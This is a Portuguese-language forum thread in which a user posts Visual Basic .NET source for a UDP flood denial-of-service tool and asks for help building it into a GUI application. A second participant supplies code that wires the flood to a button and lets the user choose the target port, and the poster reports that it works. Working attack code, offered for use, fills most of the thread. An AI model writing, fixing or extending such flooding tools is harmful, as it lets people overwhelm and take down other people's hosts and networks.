Ajuda - Criar UDP Flood

[Tatia]

Boas amigos, achei um src na net mas não estou a perceber como compilar o mesmo se alguém poder dar uma ajuda agradeço, vou deixar em baixo todo o código...

This is a UDP-flooding script that I ported myself from an old PHP shell to Visual Basic .NET. The example program has the Excision Theme by ๖ۣۜMephobia @ HF.

Imports System.Text
Imports System.Net.Sockets
Imports System.Net

Public Class UDP

Private Delegate Sub Send(ByVal IP As String, ByVal Port As Integer, ByVal Data As String)
Private S As New Send(AddressOf _S)
Private Client As New UdpClient

Public Flooding As Boolean = False

Public Sub Flood(ByVal IP As String, ByVal Time As Date)
If Flooding = False Then Flooding = True
Dim RandomData As String = String.Empty
Dim I As Integer = 0
Do Until I > 65000
RandomData &= "X"
I += 1
Loop
Do
If Now > Time Then
Flooding = False
Exit Sub
End If
Randomize()
S = New Send(AddressOf _S)
S(IP, CInt(Math.Ceiling(Rnd() * 65000)), RandomData)
Loop
End Sub

Private Sub _S(ByVal IP As String, ByVal Port As Integer, ByVal Data As String)
Client = New Net.Sockets.UdpClient
Client.Connect(IPAddress.Parse(IP), Port)
Client.Send(Encoding.ASCII.GetBytes(Data), Encoding.ASCII.GetBytes(Data).Length)
Client.Close()
Client = Nothing
End Sub

End Class

Usage example Wrote:

Dim UDP As New UDP
UDP.Flood("127.0.0.1", Now.AddSeconds(Integer.Parse("120"))) 'Host followed by time in seconds

Bom eu ja criei as text box o botao e coloquei o primeiro codigo dentro de uma class o que fica a faltar fazer?

Edited September 23, 2013 at 03:05 PM by Tatia

[nelsonr]

Boas,

e que problema estás a ter a compilar?

O unico problema que me parece ai é a linha

Client = New Net.Sockets.UdpClient

Como já está a importar lá em cima, basta ter isto

Client = New UdpClient

[Tatia]

Não consigo de maneira nenhuma fazer isto trabalhar...

Alguém poderia criar isto e me passar o src pronto a compilar?

Não estou a perceber como ele esta a interagir com o botão.

Edited September 22, 2013 at 04:02 PM by Tatia

[nelsonr]

Esse exemplo não está a interagir com nenhum botao.

Tens de adicionar o evento do botão, exemplo:

Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Dim UDP As New UDP
UDP.Flood("127.0.0.1", Now.AddSeconds(Integer.Parse("120"))) 'Host followed by time in seconds
End Sub

[Tatia]

Ok vou tentar novamente mas acho que ja fiz isso anteriormente...

O meu objectivo e criar um app flood avançado se assim se poder chamar, e estou a tentar perceber como isto funciona.

este sera o visual que pretendo e as suas funções.

Link aqui: Clica Aqui

Não tenho código nenhum nele apenas tem o visual que pretendo se alguém quiser dar uma força eu agradeço.

Tem um programa que faz isso tudo menos parar automático ao fim de um tempo, o nome e UDP Unicorn não sei se conheces e algo desse género que eu pretendo mas com a opção de parar ao fim de um tempo defendo pelo utilizador.

ja ando a 5 dias a tentar perceber isto mas ate agora nada de resultados positivos. 😞

Edited September 22, 2013 at 04:52 PM by Tatia

[Tatia]

Alguém sabe como posso definir uma text.box com a PORT, utilizando o código acima.

Edited September 23, 2013 at 01:55 PM by Tatia

[nelsonr]

Arrastas o controlo da textbox para o form...

Alteras o texto para o valor inicial (ex: 80)

[Tatia]

Mas em que parte do código vou declarar essa textbox?

Esse codigo ja esta a usar uma porta variada e eu quero que ele use a porta que eu coloco na textbox2 por exemplo.

Acho que vou desistir desse código não o consigo perceber.

Vou tentar achar outro exemplo e adaptar.

Edited September 23, 2013 at 02:55 PM by Tatia

[nelsonr]

Ok, podes fazer estas alterações:

Onde tens:

Public Sub Flood(ByVal IP As String, ByVal Time As Date)

alteras para

Public Sub Flood(ByVal IP As String, ByVal Port As Integer, ByVal Time As Date)

Onde tens

S(IP, CInt(Math.Ceiling(Rnd() * 65000)), RandomData)

alteras para

S(IP, Port, RandomData)

E ao chamar a função, passas a porta

Alteras de

UDP.Flood("127.0.0.1", Now.AddSeconds(Integer.Parse("120"))) 'Host followed by time in seconds

para

UDP.Flood("127.0.0.1", Convert.toInt32(txtPort.Text), Now.AddSeconds(Integer.Parse("120"))) 'Host followed by time in seconds

Em que o txtPort é o campo de texto onde defindes a porta a usar

[Tatia]

nem sei como te agradecer, vou agora mesmo testar.

Muito obrigado.

Edite: Deu certo.

Ja agora se não for estar a pedir demais como posso eu deferir as seguintes opções.

Packet Size: Valor em kb

Threads:

Acho que seria aqui a editar mas nao sei como fazer.

Public Sub Flood(ByVal IP As String, ByVal Port As Integer, ByVal Time As Date)
		If Flooding = False Then Flooding = True
		Dim RandomData As String = String.Empty
		Dim I As Integer = 0
		Do Until I > 65000
			RandomData &= "X"
			I += 1
		Loop

Em outro código que vi na net eles usavam algo assim:

Dim Packet As Byte() = New Byte(Textbox1.Text) {}
Dim SockNum As Integer = Textbox2.Text 

Edited September 23, 2013 at 04:17 PM by Tatia

[Tatia]

Antes demais peço desculpa por estar a postar 2 vezes seguidas, mas achei necessário para esta situação.

O código em si já modifiquei e já consegui os meus objectivos.

Agora estou a querer colocar o gráfico das ligações de rede do Windows no próprio programa mas nem sei por onde começar, vou deixar 2 exemplos abaixo.

1 Exemplo:

Tenho de abrir o meu projecto.

Tenho de abrir o gestor de tarefas e ir a aba de ligações de rede.

O que eu pretendo seria algo assim.

2 Exemplo: (Pretendido)

Abrir o meu projecto apenas.

Edited September 24, 2013 at 05:52 PM by Tatia